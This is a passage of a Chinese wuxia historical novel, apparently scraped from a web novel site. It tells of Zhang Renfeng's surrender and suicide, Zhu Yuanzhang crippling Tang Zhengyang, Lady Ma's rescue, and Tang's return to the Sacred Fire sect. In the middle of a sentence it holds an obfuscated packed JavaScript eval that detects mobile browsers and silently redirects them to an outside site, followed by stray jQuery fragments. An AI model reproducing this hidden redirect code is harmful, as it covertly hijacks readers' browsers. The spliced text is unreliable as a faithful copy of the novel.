军令状,如今这般情景,若是灵隐四杰联手一击,只怕师兄性命难保。”正在众人脑海中快速思索之时,王定国,李安邦,叶天羽已经手持兵器,只等张仁凤一声令下,便要联手先杀了唐正阳,张仁凤见形势危急,一触即发,连忙大声喝道:“诸位,先不要动手,听张某一言。”双方众人虽然剑拔弩张,但都把目光投向了张仁凤,张仁凤道:“唐兄,我听你所言,你立了军令状,是要擒拿我张某人一人,还是要将我们赶尽杀绝?”唐正阳长叹一声道:“张兄,我们大帅有交代,其他人逃走都无关紧要,但是唯独张公子活要见人,死要见尸。”张仁凤道:“唐兄,张某愿意束手就擒,把这条命交给唐兄,只求唐兄放过我师兄弟,西湖会兄弟,和这近千名孤儿。”此言一出,王定国大声喝道:“三弟,你我兄弟同生共死,此事万万行不得。”只见张仁凤嗖的一声从腰中拔出长剑,放在自己咽喉处,对王定国道:“大师兄,我们身上背负着近千名孤儿,若是双方厮杀,乱军之中刀枪无眼,只怕这些孤儿也会丧命,此为不仁,唐兄军令在身,我今日纵然能够逃脱,也会连累唐兄送命,我与唐兄一见如故,视为生死之交,他若受我连累而死,这是不义,我张仁凤自命侠义,怎么能做此不仁不义之事?如今我恳请唐兄擒拿我一人,放过这些孤儿,若唐兄不肯,那我们只能以死相拼决一死战,到时候玉石俱焚生死由命,若唐兄准允,请大师兄带着西湖会兄弟们和这些孤儿速速逃往海外,大师兄若是不准,我便当场自刎。”此言一出,王定国李安邦叶天羽都大眼瞪小眼,顿时没了主意,邓愈在一旁听得清清楚楚,连忙看了看侯成庆,对侯成庆使了个眼色,侯成庆心领神会,于是驱马上前,对唐正阳道:“师兄,既然张公子愿意束手就擒,我等就已经完成军令,我们与灵隐寺西湖会众人并无血海深仇,没有必要做玉石俱焚同归于尽的事。”唐正阳闻言,只是紧锁眉头,沉默不语,张仁凤对着唐正阳道:“唐兄,我们两军交战,我的三个师兄弟,西湖会众人,和这近千名孤儿都是无辜之人,何必非要将他们置于死地赶尽杀绝,恳请唐兄放他们一条生路,张某永感大恩,张某对天发誓:我张氏后人,远避海外,从此不再过问中原之事,请问唐兄意下如何?”唐正阳闻言,依然是默然不语,侯成庆在一旁急忙道:“师兄,张公子说的对,若是两军厮杀,乱军之中刀枪无眼,只怕这上千孤儿也会丧命,这上千孤儿都是父母双亡的可怜孩子,也都是无辜之人,我们又何必做此赶尽杀绝之事。”唐正阳考虑良久,心中思绪万千,缓缓开口道:“张兄,我师弟说的对,我与张兄等人并无血海深仇,没有必要做玉石俱焚同归于尽的事,既然张兄愿意随我回去,那你的师兄弟和西湖会众人,带着这些孤儿,可自行离去。”张仁凤闻言,心头霎时一松,于是收回宝剑,抱拳施礼,道:“多谢唐兄,张某永感唐兄今日的大恩大德。”说罢,翻身下马,将背负的幼子张敬贤从后背上解开,张敬贤也才两岁左右,张口哭喊着爹爹,张仁凤心如刀绞,强忍悲痛,上前两步,双手将儿子递到大师兄王定国面前,道:“大师兄,犬子敬贤就托付给大师兄了。”王定国翻身下马,双手接过张敬贤,眼中已经饱含泪水,口中道:“师弟,你,你~~~”,却再也说不出话来,张仁凤又看了看二师兄金毛犼李安邦,四师弟金翅大鹏叶天羽,道:“二师兄,四师弟,你们珍重。”王定国,李安邦和叶天羽及西湖会众人,一个个眼含泪水,心中不舍,但是也知道,事已至此,多说无益,李安邦叶天羽二人也翻身下马,三人与张仁凤逐一拥抱,张仁凤强颜欢笑,道:“大师兄二师兄四师弟,西湖会的兄弟们,我们有缘来生再见,再做兄弟。”西湖会十三太保和西湖会的一帮帮众也都眼含热泪,有的已经在哽咽哭泣,众人身后背负的那些孤儿更是放声大哭,张仁凤咬咬牙道:“大师兄,你们别耽误时间了,赶快走吧。”王定国等人虽然心中悲痛欲绝万分不舍,但也知道,事已至此,已经无法改变,于是王定国强忍心中悲痛,不顾张敬贤的哭叫嘶喊,用布带将张敬贤紧紧捆在胸前,几人翻身上马,调转马头,带领众人驱马离去,众人骑在马上,边走边回头看着张仁凤,缓缓远去,唐正阳心中明白张仁凤的悲苦,默然不语,任由张仁凤目送王定国等人离去。邓愈驱马上前道:“大将军,是不是将张仁凤上了镣铐?我们带他回去复命。”唐正阳眼睛一瞪,冷冷道:“不必。”邓愈道:“大将军,可,可,可不上镣铐,这个违反军规啊。”唐正阳黯然道:“张公子乃是闻名江南的仁义之士,今天我将他擒获,已经心中有愧,怎么能用锁链折辱于他?”邓愈默然不语退下,张仁凤看着师兄们的背影已经消失在天际之中,黯然回头,对唐正阳道:“唐兄,我们走吧。”唐正阳点点头,一行人,簇拥着张仁凤,慢慢往回走,到了傍晚时分,军中的探马前来禀报 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:“大将军,前面到了落凤坡,是否休息一晚,明日再走?”张仁凤闻听落凤坡三个字,心中黯然,似是有所感悟,唐正阳命令士兵们搭好营帐,唐正阳领着张仁凤进营帐休息,又命人准备了些酒菜,两人一边饮酒,一边有一句没一句的聊着,张仁凤敬了唐正阳几杯酒后,道:“唐兄,你我一见如故,张某上次所说,不知道唐兄是否还记得?”唐正阳道:“张兄所说,唐某已经牢记。”张仁凤点点头道:“那就好,朱元璋鹰视虎步,有虎狼之姿,加上他雄才伟略,又善于笼络人心,日后定可一统江山,但朱元璋眉眼之间,杀气太重,日后必定会做出鸟尽弓藏兔死狗烹之事,唐兄为人仗义,武功高强,虽然和朱元璋的夫人马秀英是至亲,但唐兄军功太盛,威名太大,又是西北诸省第一大教圣火教的教主,手下教众十几万,圣火教五行卫攻无不克战无不胜,名震天下,日后朱元璋恐怕会对唐兄有猜忌之心,唐兄日后要多加小心。”唐正阳听了,默然不语,若有所思,喝了两碗闷酒后,道:“张兄,我喝多了,我们早点休息,明日一早还要赶路。”张仁凤长叹一声道:“唐兄,多谢你今日放了我的师兄弟,我的孩儿和那些孤儿们,此恩此德,张某只能来生再报了。”唐正阳一听,心中顿感不妙,只见张仁凤已经拔出腰中宝剑,对着自己的咽喉,用力一剑割下,唐正阳虽想施救,已然不及,只见张仁凤倒在地上,咽喉之处血如泉涌,唐正阳急忙上前扶着张仁凤,忍不住放声大哭,口中道:“张兄,你何苦如此?”张仁凤勉强睁开眼睛,对唐正阳道:“唐兄,远离朱元璋。”说罢头一歪,已然气绝身亡,营帐外的侯成庆听到动静,连忙进来查看,看见唐正阳正抱着张仁凤的尸体放声痛哭,侯成庆顿时也傻了眼,连忙派人去请邓愈,邓愈急匆匆赶来,见此情形,心中也是忐忑不安,等到唐正阳情绪稍微平静一些,邓愈上前道:“大将军,张公子既然死了,你也不必过度悲伤,明日我们买个上好的棺木,将张公子尸首带回复命。”唐正阳止住哭声,声音嘶哑道:“邓将军,张公子的尸首带回去,按照军中规矩,会如何处理?”邓愈神情踌躇道:“按军中的规矩,以张公子的身份,大帅会让张士诚拿出万两黄金来赎。”唐正阳道:“隆平府历经征战,就算张士诚有些金银,也已经封赏给守城的将士了,如果张士诚拿不出赎金,张公子的尸首会如何处理?”邓愈露出难色,口中结结巴巴道:“这,这~~~”,唐正阳脸色一寒,冷冷道:“邓将军,你给我实话实说。”邓愈只好如实回禀道:“如果张士诚拿不出赎金,按照军中规矩,会将张仁凤尸的头颅割下,悬挂在高杆之上,用以震慑敌军。”唐正阳沉默许久,黯然道:“我虽未杀伯仁,伯仁却因我而死,我怎么能忍心让江南第一仁义公子张仁凤,死后还受此凌辱,邓将军,你明日率领一万兵马回去复命,我和师弟带着五行卫在此为张公子办理后事。”邓愈连连摆手道:“大将军,这万万使不得,如果我们不把张公子尸首带回去,只怕大帅会怪罪。”唐正阳道:“上万的兵丁都已看到张公子被我们擒获,如今自刎而死,我们又何苦让他的尸身再遭受凌辱,我和张公子一见如故,现在只不过是作为一个朋友,尽一点朋友的情分将他安葬,有何不妥?”邓愈连连挠头,道:“大将军,此事万万不可,如果大帅怪罪下来,到那时,恐怕你我都有杀身之祸。”唐正阳语气坚定道:“我意已决,大帅若是有什么惩罚,我一人承担,邓将军不必多说。”邓愈见唐正阳心意已决,也是无可奈何,只好悄悄对着侯成庆使了个眼色,两人出了营帐,商量了一会,然后邓愈回自己的营帐休息。第二天一早,邓愈率领一万兵马启程回大营复命,侯成庆率领五行卫的十几个人,买了一口上好的棺木回来,还领回一个五十多岁的风水先生,侯成庆对唐正阳道:“师兄,我在买棺木的时候,店家说,这边江南有风俗,要风水先生领着指导才能下葬。”唐正阳打量一下那个风水先生,只见他五十多岁,白静面庞,五绺长髯,身穿青色道袍,一副仙风道骨的派头,唐正阳拱手道:“辛苦先生了。”风水先生问道:“这位将军,不知道你这朋友今年多大岁数,因何而死?”唐正阳道:“二十多岁,自刎身亡。”风水先生连连摇头叹息道:“将军,你这朋友年纪如此之轻,自刎而死,有违天道人伦,将军若是想他在九泉之下安息,需要做七天的法事,才能安葬。”唐正阳一听,心中一愣,不禁有些犹豫,心想:“七日之后再回营复命,只怕朱元璋会更加怪罪。”这时候侯成庆在一旁道:“师兄啊,张公子仁义之名满天下,如今自刎惨死,我们就听这位老先生的,给张公子做七天法事,要不然张公子九泉之下也不得安息,大帅若是怪罪,我陪你共同承担。”唐正阳想了想,点点头,道:“好,就依先生说的办。”于是风水先生在附近山坡之处,找了一块风水宝地,然后又让侯成庆在附近找了几个和尚,做了七天法事后,将张仁凤的尸首安葬。 11. 第 11 章 第十一章:武功被废 第八天一早,唐正阳带领侯成庆和五行卫来到张仁凤墓前,恭恭敬敬施礼拜祭后,策马扬鞭,回到隆平府城外朱元璋大营,到了大营门口,侯成庆本想跟着唐正阳一起进帐,唐正阳不准,让他和五行卫留在营门外,唐正阳独自一人进了朱元璋大帐,拱手施礼,对朱元璋道:“大帅,末将前来复命。”朱元璋脸色铁青,双目之中饱含怒火,大声呵斥道:“大胆唐正阳,你可知罪?”此时唐正阳的心中,因张仁凤之死,心中也是自责悲苦,见朱元璋责问,情不自禁的气往上撞,于是昂首回答道:“末将不知身犯何罪?”朱元璋厉声喝道:“你私放张仁凤同行之人,然后又将张仁凤的尸体厚葬,却不带回军营,交给让我处置,犯下此等大罪,你竟然还有脸问我,你身犯何罪?”唐正阳朗声道:“大帅临行时交代,务必要抓住张仁凤,其他人等都无关紧要,末将已将张仁凤擒获,可是张仁凤不愿受辱,拔剑自刎,上万兵丁亲眼所见,可以证明张仁凤已死。”朱元璋怒骂道:“好一个牙尖嘴利的狡辩之词,你擒获张仁凤不假,但你却未将他带上枷锁,不但好酒好菜供他吃喝,还让他有机会自刎,而且张仁凤自刎之后,你不但将他厚葬,竟然还请和尚为他做七天法事,却不愿意将他尸首带回来,交给我处置,此乃滔天大罪,来人啊,将唐正阳拿下。”话音刚落,没等众文臣武将反应过来,朱元璋身旁的贴身侍卫,淮河三鬼胡氏兄弟,手中已经拿着铁链,向着唐正阳疾步而来,来到唐正阳面前时,大鬼胡健从二鬼胡康,三鬼胡泉手中拿过铁链,对胡康和胡泉道:“你二人退后,我来为唐将军上锁。”二鬼胡康三鬼胡泉,虽然不知道大哥是什么意思,但也将手中的锁链交给了胡健,二人退后几步,唐正阳此时心中五味杂陈,但也只能束手就擒,胡健用铁链将唐正阳锁牢,唐正阳看着手上的铁链,比普通的铁链足足粗厚了两倍,心中已经知道:“姨父朱元璋是早有预谋,特意打造了加粗加厚的铁链,来锁拿自己。”胡健锁牢唐正阳后,低声在唐正阳耳边道:“唐将军,得罪了。”说罢,手指连连挥动,点了唐正阳身上七八处大穴,没等唐正阳反应过来,只见胡健气运丹田,双手用力,瞬间将唐正阳的两侧琵琶骨捏碎,唐正阳疼得闷哼两声,盯着胡健恨声道:“胡健,你这是何意?”为何要如此对我?”胡健脸色通红,满面羞愧,低声道:“唐将军,我奉命行事,请多多包涵。”此时的唐正阳,心中悲痛欲绝,想不到自己的一身武功,今日竟然被废,只能用愤怒的眼神盯着朱元璋,众文臣武将这时才反应过来,正要上去求情,朱元璋厉声喝道:“将唐正阳推出辕门外,即刻斩首,胆敢求情者,杀无赦。”此言一出,众文臣武将面面相觑,谁也不敢出声,朱元璋扭头对常遇春道:“常将军,你率三百兵丁,将唐正阳押到辕门外,即刻将唐正阳斩首。”常遇春苦着脸,心中虽然不愿,但见到朱元璋怒发冲冠的样子,也不敢违抗,只好领着三百亲兵,垂头丧气磨磨蹭蹭,将唐正阳绑送到辕门外,准备处斩,侯成庆和一千多名五行卫正在辕门外等候,见此情景,一个个大惊失色,侯成庆连声问道:“常将军,这是怎么回事?为何将我师兄捆绑起来?”常遇春苦着脸道:“大帅发话了,要将你师兄在辕门外处斩。”侯成庆一听,顿时就炸了,连忙招呼五行卫,道:“兄弟们,赶快跟我来,保护教主。”一千多名五行卫一拥而上,将常遇春等人推搡到一边,紧紧的将唐正阳护在当中,常遇春心中暗想:“这唐正阳既是马夫人的嫡亲姨侄,又是徐达的亲侄女婿,我要是杀了他,马夫人和徐达以后还能放过我?”于是故意嘴上呵斥道:“你们别乱来,你们别乱来。”其实已经顺水推舟,带着三百亲兵闪到一边,侯成庆拿出兵器,想砍断唐正阳身上的铁链,但那铁链粗大厚重,砍了几下,只砍出几道细痕,唐正阳心中悲苦,对侯成庆道:“师弟,你别管我了,你带着五行卫的兄弟们,赶快逃走,朱元璋是想置我们于死地。”侯成庆道:“师兄,我们生死与共,要走我们一起走。”唐正阳苦笑道:“我的武功已经被朱元璋安排淮河三鬼废了,你们带着我,只是拖累,你们赶快走吧。”听到此言,侯成庆怒发冲冠,目眦欲裂,怒吼道:“师兄,想不到朱元璋竟然如此狠毒,竟然命人废了您的武功。”话未说完,禁不住放声痛哭,此时的朱元璋,在大帐之中,已经得到士兵禀报,更是怒不可遏,当即下令:“中军五万精兵,即刻出动,将唐正阳和五行卫一并诛杀。”只见军营四处,人头涌动,五万精兵将唐正阳和一千多五行卫围得水泄不通,唐正阳心中悲苦,长叹一声,对侯成庆道:“师弟,我命丧此地,死不足惜,只恨自己眼瞎,没有看清朱元璋的毒辣,如今连累了这么多教中弟兄,让我如何是好?”侯成庆听得清清楚楚,咬着牙怒道:“师兄,我们要死一起死,今日拼了命也要将你救出。”说罢又用兵刃,就去砍唐正阳身上的镣铐,不想那镣铐却是牢固异常,侯成庆把刀都砍卷刃了,也没将铁链砍开,唐正阳看着如潮水般涌来的士兵,心中暗自后悔,当初父亲临终遗言,让自己带着五行卫返回西北,自己却不忍姨母伤心,留了下来,不想却落得如此下场,还要连累教中这么多兄弟丢了性命,唐正阳心中是羞愧万分悲愤交加,正在千钧一发十万火急之际,忽听远处马蹄声响,有人大声喊道:“住手,全部给我住手。”众人回头循声望去,只见二十几匹骏马飞奔而来,为首一人正是马夫人,身旁朱标,几名五行卫,十几名侍卫紧紧跟随,原来是张仁凤自刎后,邓愈和侯成庆商议,担心唐正阳回去后会遭受处罚,所以侯成庆悄悄派几名五行卫去应天府请了马夫人前来,马夫人一行人快马加鞭,驱马直闯,朱元璋手下的兵丁,看见是马夫人和朱标前来,哪里还敢阻拦,连忙让开一条道路,马夫人来到唐正阳跟前,翻身下马,伸手拉着唐正阳,只见唐正阳脸色苍白,表情痛楚,马夫人急声问道:“阳儿,你没事吧?”你没事吧?”唐正阳心中悲苦,眼见姨母如此关切,不由得眼圈一红,本想告诉姨妈自己武功被废的事,但是转念一想,姨妈对自己一向视若己出,若是让姨妈自己武功被废的事,只怕他们夫妻会反目成仇,于是强忍心中悲苦,嘶哑着声音答道:“姨妈,我没事,只是受了一点轻伤。”侯成庆一听,在一旁张口想要说话,却被唐正阳用严厉的眼光制止,只好咬咬牙,沉默不语。马夫人道:“是谁伤的你?”唐正阳苦苦一笑,道:“是淮河三鬼。”马夫人一听,已经明白,淮河三鬼是朱元璋的贴身侍卫,定然是受了朱元璋的命令,才敢出手伤害唐正阳,马夫人一扯唐正阳手上铁链,大声怒喝到:“谁是监斩官,快把钥匙拿来,放开我的阳儿。”常遇春在一旁听到马夫人的怒喝,吓得哆哆嗦嗦上前道:“夫人,我是监斩官,但是钥匙不在我手上,被大帅收着呢。”马夫人一听心中不觉一惊,依军中的规矩,死囚铁链钥匙向来是由监斩官掌握,看来朱元璋是担心常遇春私自放了唐正阳,竟然将钥匙亲自保管,马夫人嗖的一声抽出腰中佩剑,交给朱标,大声怒道:“标儿,你持此剑在此守护你表哥,若有人敢动你表哥一根头发,你就立马将他斩杀。”此言一出,朱元璋手下的将士,包括常遇春,都躲得远远的,没有一个人敢上前,马夫人三步并作两步,径直冲进朱元璋的大帐内,此时朱元璋在大帐中已经得到消息,虽然心中想要躲避,但又当着众文臣武将的面,实在拉不下面子,只好咬着牙硬挺着,马夫人进营帐后,大声喝道:“朱重八,你给我出来,你给我出来。”朱元璋眉头一皱,道:“你大呼小叫干什么?这是军营之中,小心军法无情。”马夫人呵呵一阵冷笑,怒道:“好你个朱重八,你竟然敢拿军法吓唬我,我问你,阳儿身犯何罪?你为何要将他处斩?”朱元璋道:“他私自放了张仁凤的儿子,张仁凤几个师兄弟,西湖会的几百会众,还有近千名义善堂的孤儿,又不肯将张仁凤锁上铁链,以至于张仁凤有机会自刎,张仁凤自刎后,他不但不将尸首带回军营让我处置,还为他请了风水先生选墓穴厚葬,请和尚为他做了七天法事,这些事哪一条不是死罪?”马夫人怒吼道:“朱重八,你别以为我什么都不知道,是你逼阳儿立下军令状,你那军令状中,只是让阳儿务必要擒获张仁凤,其他人等都无关紧要,阳儿追到张仁凤后,灵隐四杰的老大王定国,想以江湖中的比武决斗方式定输赢,阳儿知道灵隐四杰的老四金翅大鹏叶天羽,得到当年灵隐寺无尘禅师的真传,内力武功,天下第一,阳儿自知不是叶天羽的对手,所以拒绝,王定国见阳儿不愿江湖中的比武决斗方式定输赢,于是就抱着必死之心,准备师兄弟四人联手,先杀了阳儿,再和侯成庆邓愈等人厮杀,朱重八,我问你,普天之下,谁能挡住灵隐四杰的联手一击?阳儿自知必死,但是心知军令如山,宁愿一死,也不肯放过张仁凤,张仁凤见势不妙,不愿玉石俱焚,就恳求阳儿放过其他无关紧要之人,他愿意束手就擒,阳儿本来是抱着必死之心,不肯同意,幸好侯成庆机灵,苦苦劝说阳儿,阳儿才同意张仁凤的提议,才不至于在灵隐四杰的联手一击中丧命,现在张仁凤已经死了,已经消灭隐患,你为何还要杀我的阳儿?”朱元璋道:“唐正阳放了其他人,还可以原谅,但是他放了张仁凤的儿子,就是死罪,你难道不知道,斩草不除根,春风吹又生的道理?”马夫人道:“朱重八,你和我装什么糊涂,张仁凤已经对天发誓:张氏后人,远避海外,从此不再过问中原之事,他的儿子,听说才两岁左右,以后又能有多大作为?你又何必担心一个两岁大的孩子,以后会掀起什么风浪?”朱元璋叹口气,摇摇头道:“你啊,妇人之仁。”马夫人见朱元璋气势已经消退,又道:“重八,阳儿已经将张仁凤擒获,其他无关紧要之人放不放,抓不抓与阳儿何干?阳儿宅心仁厚,不忍张仁凤死后尸体还受到凌辱,所以才将他厚葬,虽然做法有些不妥,但罪不至死,你为何如此狠心下此毒手?难道你不知道,我幼年时,若不是姐姐卖身为奴,换了些银两供我和叔叔生活,二十年多前我就饿死了,你和陈友谅鄱阳湖之战,若不是姐夫舍命救你,你早被陈友谅的儿子神箭小后羿陈刚射死了,我姐姐姐夫一家,对我夫妻二人有救命之恩,没想到你竟如此绝情,揪着阳儿的一点小错,便要取了他的性命,你的良心被狗吃了吗?”朱元璋闻言,脸上红一阵白一阵,默不作声,马夫人厉声喝道:“淮河三鬼,给我滚出来!!!我的阳儿是不是被你们所伤?”淮河三鬼听到马夫人的怒吼,一个个吓得面无人色魂不附体,大鬼胡健强自镇定心神,伸手拦住弟弟胡康胡泉,独自一人来到大帐中间,胡健对马夫人拱手施礼道:“夫人,是我粗心大意,听错了大帅的指令,出手误伤了唐将军,此事和我的两个弟弟无关,末将现在就给夫人和唐将军赔罪。”说罢,右手拔出腰刀,一刀将自己的左手砍下。胡康胡泉二人见大哥自己砍断一只手,霎时大惊失色,连忙上前救治,朱元璋坐在大椅中,听得一清二楚,看得明明白白,对着淮河三鬼兄弟,微微点头。 因为马夫人不知道唐正阳武功被废,以为唐正阳是受了一点轻伤,所以见胡健砍了自己一只手,也就哼了一声,不再追究淮河三 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16727707|189533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鬼,马夫人转脸又喝到:“徐达,你给我出来。”徐达连忙上前两步,陪着笑脸道:“嫂子,你来了。”马夫人道:“徐达,阳儿可是你的亲侄女婿啊,元璋要杀他的时候,你就忍心见死不救?难道你就不知道为阳儿求求情吗?”徐达苦着脸,嘴里嘟囔着道:“大帅说了,谁敢求情,杀无赦。”听到此言,马夫人心中也是凉透底,心想自己这夫君,竟然对自己的侄儿下此毒手,今天若不是自己前来解救,只怕阳儿就要命丧黄泉,想到这,马夫人冷声道:“朱重八,锁链的钥匙呢?”朱元璋看了看案几的抽屉,却没说话,马夫人上前,一把拽开了案几的抽屉,取出里面的几把钥匙,一甩手,将钥匙丢到徐达面前,道:“徐达,你亲自去为阳儿打开锁链,带他进来。”徐达看了看朱元璋,又看了看马夫人,弯腰捡起钥匙,出了营帐,到了辕门外,将唐正阳的手上锁链打开,领着唐正阳和朱标进了大帐,虽然朱标才十几岁,年纪尚小,此时也紧握利剑,紧紧的护卫在唐正阳身边,到了营帐之中,唐正阳强忍疼痛,躬身施礼,道:“多谢大帅不杀之恩。”朱元璋冷哼了一声,也不说话,马夫人上前拉着唐正阳的手,道:“阳儿,你随姨妈回应天府,咱们不在他这受这窝囊气。”此时唐正阳心中已经明白:“朱元璋早有预谋,不但命淮河三鬼用加粗加厚铁链锁住自己,点了自己的穴道,还废了自己的武功,对自己和五行卫已经起了杀心,今天若不是姨妈来的及时,自己和教中的一千多名五行卫,恐怕都会被朱元璋一网打尽全部诛杀。”想到这,唐正阳不禁心灰意冷,轻轻推开姨妈的手,对朱元璋道:“大帅,末将资质愚钝,办事不力,让大帅生气了,末将也无颜再在军中效力,请大帅允许我解甲归田。”此言一出,马夫人大吃一惊,连忙道:“阳儿,眼见你姨父大事将成,你留在应天府,以后我定让你姨父封你为王,你为何现在要解甲归田?”唐正阳苦笑道:“多谢姨妈厚爱,但正阳心意已决,请姨妈成全。”说罢跪倒在地,通通通给马夫人磕了三个响头,马夫人此时心中已经明白:“唐正阳的心是让朱元璋伤死了,伤透了,自己若是强行将唐正阳留在身边,只怕日后会与朱元璋闹得更加不和。”想到这,马夫人禁不住心中悲苦,眼泪如同断线的珍珠一般流落,唐正阳虽然眼见姨妈伤心流泪,但也知道自己和朱元璋的矛盾已经不可调和,又想到父亲临终前的遗言和张仁凤的忠告,于是狠狠心,不忍再看姨妈悲痛欲绝的模样,唐正阳调转身形,对着朱元璋通通通又是磕了三个响头,道:“姨父,侄儿愚钝,让您失望了,请姨父准许我解甲归田,容侄儿有一条活路。”此言一出,朱元璋心中已然明白,自己对唐正阳因为猜忌而起的杀心,唐正阳已然全部知道,朱元璋故意考虑片刻,才开口道:“正阳,既然你自己要解甲归田,我就准你所请,但是在临行之前,我有句话要告诫于你。”唐正阳道:“姨父请讲。”朱元璋道:“你那圣火教向来喜欢反对官府,数百年间,谋反不断,你回去之后,要约束教众,不得来中原蛊惑人心,如有违背,别怪姨父容不下你。”马夫人在一旁听的清清楚楚,她与朱元璋夫妻多年,此时心中已经明白,朱元璋为什么揪着唐正阳的错,要下此死手了,原来是对圣火教五行卫有了忌惮之心,今日若不能给唐正阳一些庇护,只怕日后唐正阳会有杀身之祸,想到这,马夫人上前几步,从案几上拿出纸笔,笔走龙蛇,写了几个字,对朱元璋道:“重八,我给正阳赐了几个字,你在上面签个名吧。”朱元璋抬眼望去,只见纸上写了八个大字:“日月之下,圣火连绵。”朱元璋心中清楚夫人的用意,虽然心中不情不愿,但是又怕马夫人发飙,想了一想,只好依马夫人所言,在纸上写下了自己名字,马夫人又对朱标道:“标儿,你过来,在这纸上也留个名。”朱标过来,口中念道:“日月之下,圣火连绵,娘,这是啥意思?”马夫人道:“以后你就知道了,你先留个名吧。”朱标依言在纸上留下了自己的名字,马夫人接过朱标手中笔,在纸上也把自己的名字也写上,然后扔下笔,将自己的食指尖放入口中用力咬破,顿时手指鲜血淋漓,朱元璋大惊失色,连忙问道:“妹子,你这是干啥?”朱标也惊叫道:“娘,你干嘛要咬破自己手指啊?”马夫人也不说话,用带血的手指在自己名字上按了一个血手印,然后拿着纸走到唐正阳面前,伸手拉起唐正阳,道:“阳儿,姨妈对不起你,让你伤心了,现在姨父姨妈表弟给你一幅字,你拿回去好好保管。”说罢,泪流满面,将手中的纸递给唐正阳,唐正阳看着纸上八个大字,又看着纸上朱元璋,姨妈和朱标的名字,姨妈的鲜血指印,心中已然明白,姨妈是想给自己和圣火教一个护身符,于是又跪倒在地,口中道:“多谢姨妈厚爱,我回去之后,一定好好保管,日后永远在日月光芒之下,才有圣火的连绵。”马夫人点点头,拉起唐正阳,道:“阳儿,是姨父姨妈对不起你,你回去之后,有空就来看看姨妈。”唐正阳心想:“以后若是再来中原,和朱元璋见面,只怕性命难保。”但是又不能明说,只能含泪点点头,应付一下姨妈,又对朱元璋躬身施礼道:“大帅,草民告辞。”说罢,转身退出营帐,马夫人和朱标心中不舍,也紧随唐正阳来到辕门外,唐正阳强忍身上剧痛,跨上侯成庆牵过来的骏马,对马夫人道:“姨妈,表弟,你们珍重,就此告辞。”说罢,强忍心中不舍,调转马头,带着侯成庆和一千多名五行卫疾驰而去,马夫人和朱标心中难过,但是也无可奈何,母子二人泪流满面,久久凝望唐正阳等人的背影,直到唐正阳他们的身形消失在茫茫的天际之中。 12. 第 12 章 第十二章:剿灭五鹰 唐正阳等人,一路上披星戴月,日夜兼程,十几日后,回到圣火教总舵圣火崖,留守的副教主韩鹏前来迎接,唐正阳回到寨中,却见寨中一片破旧败落景象,不禁眉头一皱,问韩鹏道:“我才离开两年时间,教中为何变得如此破败?”韩鹏苦笑道:“教主,你有所不知,最近关陇古道上出了一批响马,为首的是祁连山五鹰,他们四处打劫抢夺,教中的原来做的一点生意,都被他们搅的不能做了,原来西域的客商来我们这里收山货,现在也不敢来了,教中的兄弟们都要没饭吃了。”关陇古道是丝绸之路最重要的一段,在汉代即已开通,有千年历史,是一条中原地区连接西域的古道。关陇古道是丝绸之路南大道从长安进入甘肃的必经之地,历史源远流长。自周秦至汉唐直至宋元,在长达两千多年的悠悠岁月中,关陇古道一直是关中通往西域的交通纽带,为陇右要冲,关中屏障,军防重地,而且也是中西贸易、民族往来的大通道。据史料记载,汉初,西北疆界不过黄河。为了打通西方商路,汉武帝派人进行了两次探险,其中一次是翻越陇坂,通过对沿途地理和北边敌情的了解,最后选定关陇道为西进的首选路线。为了确保这条路线的畅通,汉武帝在沿线设置天水郡及平襄、陇县、清水、戎邑、略阳等县。沿途“五里一燧,十里一墩,三十里一堡,五十里一寨。”“驿马三十里一置”,交通十分便利。所以关陇古道自古至今都是古代兵家必争之地。 唐正阳听到韩鹏之言,问侯成庆道:“这祁连五鹰,难道是原来陈友谅手下的张氏兄弟吗?”侯成庆道:“应该是他们。”韩鹏道:“教主,正是祁连山张氏兄弟,他们这一两年来,聚集了一千多人马,他们占据关陇古道的黑风谷为巢穴,仗着黑风谷地势险要,易守难攻,四处烧杀抢夺,方圆数百里的百姓,都被他们害苦了。”唐正阳闻言,怒不可遏拍案而起,道:“师弟,点齐五行卫,我们去找祁连五鹰的巢穴,和他们决一死战。”侯成庆连忙道:“师兄,您稍安勿躁,我们教中两千五行卫,这两年,为帮助朱元璋,东征西讨,南征北战,已经折损了四百多人,还有两三百兄弟受了伤,现在这一千多名五行卫,要是再去和祁连山五鹰一千多响马血拼,有道是杀敌一千,自损八百,更何况那黑风谷地势险要易守难攻,祁连山五鹰占着天时地利人和,只怕这一千多名五行卫会死伤惨重,折损大半以上,依我之见,我们只能智取,不能强攻,待我想个妥善的计策,我们再行动不迟。”听到此言,唐正阳心中也是郁闷,想一想自己教中两千五行卫兄弟,阵亡了四百多人,受伤的也有两三百人,如今能够战斗的也只剩一千多人,现在自己武功被废,又不能带领教众和敌人厮杀,如果真要和祁连山五鹰的手下响马硬拼,黑风谷地势险要,易守难攻,恐怕这一千多五行卫,又要死伤大半,想到这,唐正阳禁不住长叹一声,对侯成庆道:“好吧,师弟,等我们想个稳妥计策,再做行动。”侯成庆点点头,又详细的问了韩鹏,响马的巢穴和平时的行事风格后,过了两三天,侯成庆终于想到了一条妙计,于是来找唐正阳禀报,等到侯成庆将计策告知唐正阳时,唐正阳听了之后,不由得心中犹豫,对侯成庆道:“师弟,你这计策虽妙,但过于阴险毒辣,恐怕有违天道人和。”侯成庆道:“师兄,兵不厌诈,如今我们教中的五行卫也只剩一千多人,如果和他们硬拼,估计还要死伤大半。”唐正阳道:“师弟,可是你这计策实在过于阴险毒辣。”侯成庆道:“师兄,这件事由我来办,为了保护教中兄弟,就算我以后受了天谴,也无怨无悔。”唐正阳思前想后,心中实在不愿意,按侯成庆的计策行事,但自己武功已经被废,纵然想率领教众去讨伐响马,也是有心无力,只好长叹一口气,对侯成庆道:“师弟,你去办吧。”侯成庆领命,出来之后就依计行事。再说祁连五鹰,本来就是祁连山绿林响马世家,张氏一族又是祁连山一带第一大姓,带着几百亲兵从陈友谅处回来后,又从家族中召集了一大批子弟,足足有一千多人,占据了关陇古道,在黑风谷干起了没本钱的买卖